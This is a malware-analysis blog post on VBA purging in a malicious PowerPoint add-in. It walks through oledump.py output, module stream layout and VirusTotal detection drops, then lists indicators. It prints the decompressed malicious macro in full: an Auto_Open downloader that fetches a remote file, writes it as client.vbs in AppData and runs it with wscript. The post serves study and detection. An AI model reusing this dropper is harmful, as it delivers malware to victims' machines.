~/posts/binary/evidence-of-vba-purging-found-in-malicious-documents.md

Evidence of VBA purging in a malicious PowerPoint add-in

A malicious PowerPoint add-in keeps only compressed VBA source, with a zero-length cache. Walk its VBA storage with zipdump.py and oledump.py, see why rules keyed on cached strings miss VBA purging, and cross-check structure against behavior.

date[31:24]
read[23:16]
12 min
cat[15:8]
Binary
Contents
  1. 0x00A module stream holds two representations
  2. 0x01From the ZIP wrapper to the VBA storage
  3. 0x02Malice comes from behavior, not cache size
  4. 0x03Why old string-based rules miss it
  5. 0x04Cross-check the structure instead of trusting one signal
  6. 0x05Indicators
  7. 0x06Summary

Malicious macros don't always keep both their source code and their compiled cache. If a PowerPoint add-in (PPAM) has a module stream that still holds decompressible VBA source while the cache for the compiled p-code is empty, the analysis should move on to the source and its entry point. It should not stop just because the decompiler has nothing to show.

The sample is a PPAM recorded in 2020: MD5 730a8401140edb4c79d563f306ca529e, SHA-256 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11. The commands run in a Windows command prompt, using zipdump.py and oledump.py (the latter under Python 3.7). The focus is the layout of the VBA storage and the blind spot it creates for static detection. A structural trait on its own does not make a file malicious.

A module stream holds two representations

A VBA module stream usually has two parts. First comes PerformanceCache, an implementation-specific cache of data tied to the compiled code; after it comes CompressedSourceCode, the compressed source. Calling both "the macro code" hides an important difference: the two can disagree, and a file may keep only one of them.

The boundary between them isn't found by searching for strings. For each module, the dir stream holds a MODULEOFFSET record with the offset where its compressed source starts. The dir stream is itself compressed, so a parser has to decompress it and match those records to the right stream names before it can split any module correctly.

MODULEOFFSET record (MS-OVBA, decompressed dir stream)LE
OffsetNameTypeSizeValue
0x00IdRecord type, always 0x0031uint16_t20x0031
0x02SizeByte count of TextOffset, always 4uint32_t40x00000004
0x06TextOffsetWhere the compressed source starts in the module stream: 0 in this sample, 1299 in the regular document belowuint32_t40x00000000
sizeof(struct MODULEOFFSET) = 0xa (10 bytes)

Once the cache is purged, the source starts at the very beginning of the stream and its MODULEOFFSET becomes 0. Other streams, such as _VBA_PROJECT and __SRP_*, also hold cache data, so calling a file "source only" means checking the whole VBA storage, not a single module.

A module stream before and after the cache is purged3 rows
Structure Regular document After the cache is purged
PerformanceCache Starts at 0x0000, variable length Absent
CompressedSourceCode Starts at MODULEOFFSET, runs to the end of the stream Starts at 0x0000, fills the whole stream
MODULEOFFSET in dir One per module, points past that module's cache 0 for every module

This is the opposite of VBA stomping. Stomping removes or alters the source and leaves the compiled form in place; here the cache is gone and the source stays. The technique is known as VBA purging. The two call for different forensic approaches, and the stock advice to "look at the p-code" does not cover every sample.

From the ZIP wrapper to the VBA storage

A PPAM is an OOXML container, which is a ZIP archive on the outside. The VBA project is the member ppt/vbaProject.bin, and that member is an OLE compound file in its own right. The tree below is the layout once every layer is opened; size is the stream length in bytes as oledump.py reports it.

730a8401….vir.zip: ZIP → OLE compound file → VBA streams
  • 730a8401140edb4c79d563f306ca529e.vir.zipThe PPAM add-in itself; a ZIP on the outside
    • [Content_Types].xml
    • _rels
      • .rels
    • ppt
      • presentation.xml
      • _rels
        • presentation.xml.rels
      • vbaProject.binOLE compound file holding the VBA project
        • PROJECTsize 311
        • PROJECTwmsize 26
        • VBA
          • Módulo1size 548Module stream: 0-byte cache, 548 bytes of compressed source
          • _VBA_PROJECTsize 7Only the 7-byte header is left
          • dirsize 434
4 directories, 4 files, 2 archives, 5 streams

These steps produce that layout. Each step's raw output is folded under its command.

Confirm the purge layer by layer5 steps
  1. 1

    List the ZIP members and find vbaProject.bin

    List the ZIP members first and locate ppt/vbaProject.bin, so that the outer ZIP and the OLE compound file inside it are never treated as one layer.

    Windows cmd · C:\Demo
    $ zipdump.py 730a8401140edb4c79d563f306ca529e.vir.zip
    Output6 linesIndex Filename Encrypted Timestamp
    output
    Index Filename                        Encrypted Timestamp
        1 [Content_Types].xml                     0 1980-01-01 00:00:00
        2 _rels/.rels                             0 1980-01-01 00:00:00
        3 ppt/presentation.xml                    0 1980-01-01 00:00:00
        4 ppt/_rels/presentation.xml.rels         0 1980-01-01 00:00:00
        5 ppt/vbaProject.bin                      0 2020-02-14 05:24:42
  2. 2

    List the VBA streams

    The streams inside vbaProject.bin include the module VBA/Módulo1, VBA/dir and VBA/_VBA_PROJECT. The module carries the M flag, so it is still recognized as containing VBA macros: this is not an empty shell.

    Windows cmd · C:\Demo
    $ c:\Python37\python.exe oledump.py 730a8401140edb4c79d563f306ca529e.vir.zip
    Output6 linesA: ppt/vbaProject.bin
    output
    A: ppt/vbaProject.bin
     A1:       311 'PROJECT'
     A2:        26 'PROJECTwm'
     A3: M     548 'VBA/Módulo1'
     A4:         7 'VBA/_VBA_PROJECT'
     A5:       434 'VBA/dir'
  3. 3

    Split each module into cache and source

    With -i, oledump.py uses the module offset to split each module into cache and source, and prints the two lengths as cache+source. The key value is 0+548: the module's cache is 0 bytes and its compressed source is 548 bytes. These are section lengths. The 548 bytes are the whole module stream, not all that is left of the file.

    Windows cmd · C:\Demo
    $ c:\Python37\python.exe oledump.py -i 730a8401140edb4c79d563f306ca529e.vir.zip
    Output6 linesA: ppt/vbaProject.bin
    output
    A: ppt/vbaProject.bin
     A1:       311             'PROJECT'
     A2:        26             'PROJECTwm'
     A3: M     548       0+548 'VBA/Módulo1'
     A4:         7             'VBA/_VBA_PROJECT'
     A5:       434             'VBA/dir'
  4. 4

    Check the _VBA_PROJECT stream

    The _VBA_PROJECT stream backs this up. It is only 7 bytes long, which is just the header, with none of the cached data it usually carries. Per MS-OVBA, PerformanceCache follows the header, and its length is the stream size minus 71.

    VBA/_VBA_PROJECT · oledump.py -s A4 · 7 bytes
    00000000CC61FFFF000000
    1. Reserved10x00–0x010x61CC, a fixed value in the spec
    2. Version0x02–0x030xFFFF; must be 0xFFFF on write, ignored on read
    3. Reserved20x040x00
    4. Reserved30x05–0x06Undefined, ignored on read; no PerformanceCache follows
  5. 5

    Compare with a regular document that has a cache

    Next to a regular document, Presentation1.ppam, the difference is obvious: its module has a non-zero cache and a non-zero source, and there are four __SRP_* streams.

    Windows cmd · C:\Demo
    $ c:\Python37\python.exe oledump.py -i Presentation1.ppam
    Output10 linesA: ppt/vbaProject.bin
    output
    A: ppt/vbaProject.bin
     A1:       352             'PROJECT'
     A2:        26             'PROJECTwm'
     A3: M    1380     1299+81 'VBA/Module1'
     A4:      2308             'VBA/_VBA_PROJECT'
     A5:      1131             'VBA/__SRP_0'
     A6:        66             'VBA/__SRP_1'
     A7:       216             'VBA/__SRP_2'
     A8:       103             'VBA/__SRP_3'
     A9:       465             'VBA/dir'

Split at MODULEOFFSET, the two module streams look like this: the sample's stream is compressed source from end to end, while the regular document's source is only the last 81 bytes.

Sample
VBA/Módulo1
  1. 0x00000000
    CompressedSourceCode0x224MODULEOFFSET = 0, so the source starts at the top of the stream
0x00000224
0x00000000–0x00000224 · total 0x224 (548 bytes)
Regular document
VBA/Module1
  1. 0x00000000
    PerformanceCache0x5131.27 KiBCompiled cache
  2. 0x00000513
    CompressedSourceCode0x51MODULEOFFSET = 1299
0x00000564
0x00000000–0x00000564 · total 0x564 (1380 bytes)
VBA streams in the sample and the regular document4 rows
Stream Sample Regular document
Module stream VBA/Módulo1, 548 bytes VBA/Module1, 1380 bytes
Cache + source 0 + 548 1299 + 81
VBA/_VBA_PROJECT 7 bytes 2308 bytes
VBA/__SRP_* None 4, __SRP_0 to __SRP_3

Malice comes from behavior, not cache size

Once the source is decompressed, the chain is plain to see. The Auto_Open entry point creates a Microsoft.XMLHTTP object to fetch remote content, uses Adodb.Stream to save the response as client.vbs in the AppData folder, and hands that file to the wscript script host. Fetch from the network, drop a script, run it: that chain is far closer to the evidence a verdict needs than an empty cache is.

oledump.py -s A3 -v · VBA/Módulo1vb
Attribute VB_Name = "Módulo1"
Public Sub Auto_Open()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://gist.githubusercontent.com/<redacted>/<redacted>/raw/<redacted>/DASASDASDASD312312%2520-%2520Copia%2520(3).png", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
 .Type = 1
 .Open
 .write xHttp.responseBody
 .savetofile j & "/client.vbs", 2 '//overwrite
End With
Shell "wscript " & j & "/client.vbs", vbNormalFocus


End Sub
  1. Auto_Open is the entry point: PowerPoint calls it automatically when it loads the add-in.
  2. Creates a Microsoft.XMLHTTP object to make the HTTP request.
  3. Fetches the remote file synchronously (the last argument is False). The URL ends in .png, yet the response is saved as a script below.
  4. Adodb.Stream writes the response in binary mode (.Type = 1) to client.vbs in the AppData folder; 2 overwrites any existing file.
  5. Hands the dropped script to the wscript script host.

Keep three levels of conclusion apart:

  • Structural facts already visible: the cache is missing, the compressed source is present, and the offsets in dir match the stream contents.
  • Code behavior already visible: the macro downloads content from the network and launches a script.
  • Outcomes that need more evidence: what the remote server actually returned at the time, what the script did next, and whether the document ever ran successfully on a target.

Static source can't stand in for the network response or execution logs. Nor does it matter for a structural analysis of the historical source whether the remote URL still works today.

Why old string-based rules miss it

Rules that scan the document container for plaintext API names sometimes actually match strings in the compiled cache. The same identifiers exist in the VBA source, but once compressed they don't necessarily appear as contiguous plaintext bytes. So after the cache is purged, those rules lose the bytes they matched on, while the macro may behave exactly as before.

That doesn't mean every rule breaks. Detections built on stream structure, decompressed source, API combinations or runtime behavior read entirely different input. When you evaluate a rule, first pin down what it reads (the raw container, the module stream, the decompressed source or the p-code), and only then compare how its hits change.

The two historical scans below are two states of one experiment: a malicious Word document (.doc, not the PPAM above) in its original form, and the same document with its p-code purged. The purged copy is named after the original's SHA-256 plus the suffix -no-p-code.vir.

Two scans of the same Word document3 rows
Item Original P-code purged
Size 176.00 KB 76.00 KB
Scanned (UTC) 2019-12-27 11:17:41 2019-12-22 13:29:56
Detections 44 / 61 16 / 58
VirusTotal results
Original
VirusTotal · originalDOC

44/61

Tracking-42398631-BUD-HWN.doc

44 of 61 engines flagged it as malicious

Type
Word document (.doc)
Scanned
  • malicious 44
  • undetected 17
SHA-256
b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1
EngineVerdictDetection
Ad-AwaremaliciousW97M.Downloader.GRU
AegisLabmaliciousTrojan.MSWord.Agent.a!c
ALYacmaliciousTrojan.Downloader.VBA.gen
Antiy-AVLmaliciousTrojan[Downloader]/MSOffice.Agent.hic
ArcabitmaliciousHEUR.VBA.Trojan.e
AvastmaliciousVBA:Downloader-GCD [Trj]
AVGmaliciousVBA:Downloader-GCD [Trj]
Avira (no cloud)maliciousW97M/Agent.36885547
BaidumaliciousVBA.Trojan-Downloader.Agent.cpw
BitDefendermaliciousW97M.Downloader.GRU
10 of 61 engines listed
P-code purged
VirusTotal · p-code purgedDOC

16/58

b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1-no-p-code.vir

16 of 58 engines flagged it as malicious, 1 as suspicious

Type
Word document (.doc)
Scanned
  • malicious 16
  • suspicious 1
  • undetected 41
SHA-256
f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434
EngineVerdictDetection
Antiy-AVLmaliciousTrojan[Downloader]/MSOffice.Agent.hic
ArcabitmaliciousHEUR.VBA.Trojan.e
AvastmaliciousVBA:Downloader-GCD [Trj]
AVGmaliciousVBA:Downloader-GCD [Trj]
BaidumaliciousVBA.Trojan-Downloader.Agent.cpw
EndgamemaliciousMalicious (high Confidence)
ESET-NOD32maliciousVBA/TrojanDownloader.Agent.HIC
FortinetmaliciousVBA/Agent.HHV!tr
IkarusmaliciousTrojan-Downloader.VBA.Agent
McAfee-GW-EditionmaliciousBehavesLike.Downloader.lg
RisingmaliciousMacro.Run.d (CLASSIC)
Sangfor Engine ZeromaliciousMalware
SentinelOne (Static ML)maliciousDFI - Malicious OLE
Sophos AVmaliciousTroj/DocDl-NCG
TACHYONmaliciousTrojan/W97M.Agent.Gen
TencentmaliciousHeur:Trojan.Script.LS_Gencirc.7071761.0
BitDam ATPsuspiciousMALWARE
Ad-Awareundetected—
AegisLabundetected—
AhnLab-V3undetected—
20 of 58 engines listed

The scan pages showed only some of the engines, and those are the ones listed in each card; the totals come from the summary at the top of each page. Of the engines visible on both, Ad-Aware and AegisLab flag the original as W97M.Downloader.GRU and Trojan.MSWord.Agent.a!c but report the purged copy as undetected.

Cross-check the structure instead of trusting one signal

In a review, put each module on one row: module name, stream size, MODULEOFFSET, cache length, source length, decompression result, and whether an entry point exists. Here are the sample and the regular document from above (n/a means not shown above):

Per-module review2 rows
Module Stream size MODULEOFFSET Cache Source Decompression Entry point
Módulo1 (sample) 548 0 0 548 OK Auto_Open
Module1 (regular) 1380 1299 1299 81 n/a n/a

At a minimum, the offset has to fit this bounds model:

split_module.pypython
def split_module(module: bytes, source_offset: int):
    if not 0 <= source_offset <= len(module):
        raise ValueError("source offset outside module stream")
    return module[:source_offset], module[source_offset:]

cache, source = split_module(b"compressed-source-placeholder", 0)
assert cache == b"" and source

Indicators

These are the sample hashes from this post and the file the macro drops. The p-code-purged copy was produced in the experiment above. The macro's download URL is redacted in this post, so it is not listed.

VBA purging samples
SHA-256 3
  • 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11
    PPAM add-in (the sample in this post)
  • b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1
    Malicious Word document, original
  • f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434
    Same document with its p-code purged
MD5 1
  • 730a8401140edb4c79d563f306ca529e
    PPAM add-in (the sample in this post)
File names 1
  • Tracking-42398631-BUD-HWN.doc
    File name of the malicious Word document
Paths 1
  • %APPDATA%\client.vbs
    Script the PPAM macro downloads, writes and runs with wscript
6 indicators · 4 types · defanged

Summary

One important counterexample remains: legitimate document generation libraries and VBA cleanup tools also produce documents without a cache. So:

  • A zero offset, a 7-byte _VBA_PROJECT and missing __SRP_* streams are leads for an investigation, not grounds for blocking a file on their own.
  • When the decompiler shows no p-code, decompress the source and look for the entry point instead of ending the analysis there.
  • Before evaluating a detection rule, pin down which layer it reads: the raw container, the module stream, the decompressed source or the p-code.
  • Reliable conclusions come from cross-checking structural consistency against what the source code actually does.

Footnotes

  1. Microsoft, [MS-OVBA] 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. ↩

NORMAL~/posts/binary/evidence-of-vba-purging-found-in-malicious-documents.md§--
0%en